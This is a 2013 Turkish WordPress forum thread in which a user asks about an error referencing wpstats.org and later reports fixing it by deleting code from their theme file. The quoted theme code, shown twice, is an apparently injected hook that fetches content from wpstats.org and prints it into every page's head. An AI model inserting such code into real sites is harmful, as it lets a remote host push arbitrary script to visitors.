• 23-03-2013, 01:40:43
    #1
    arkadaşlar kendilinğinden çıktı bu hata;

    The server can not find the requested page:
    
    www.wpstats.org/jquery-1.6.3.min.js (port 80)
    Please forward this error screen to www.wpstats.org's WebMaster.

    forumdaki konulardaki çözüm önerilerini denedim. jquery-1.6.3.min.js dosyasını indirip kendi sitem üzerine koyup koyulaştırdığım satırdaki yeri değiştirdim. gene olmadı. sorun hakkında çözüm önerileriniz var mı başka




    <?php
    	if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} if ( ! isset( $content_width ) ) $content_width = 630;
    	/* Set up theme defaults and registers support for various WordPress features. */
    	if ( ! function_exists( 'dt_init' ) ){
    	
    		function include_files_in_dir($dir, $no_more=FALSE){
    		  $dir_init = $dir;
    		  $dir = dirname(__FILE__).$dir;
    		  
    		  if (!file_exists($dir))
    			 throw new Exception("Folder $dir does not exist");
    			 
    		  $files = array();
    			 
    		  if ($handle = opendir( $dir )) {
    			  while (false !== ($file = @readdir($handle))) {
    				  if ( is_dir( $dir.$file ) && !preg_match('/^\./', $file) && !$no_more )
    				  {
    					 include_files_in_dir($dir_init.$file."/", TRUE);
    				  }
    				  else
    				  {
    					 if ( preg_match('/^[^~]{1}.*\.php$/', $file) ) {
    						 $files[] = $dir.$file;
    					 }
    				  }
  • 25-03-2013, 00:06:49
    #2
    sorun hala devam ediyor. yardımı olabilecek arkadaş var mı?

    EDİT:

    sorunu hallettim arkadaşlar. temadaki bu kodu silince sorun kalktı.

    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} if ( ! isset( $content_width ) ) $content_width = 630;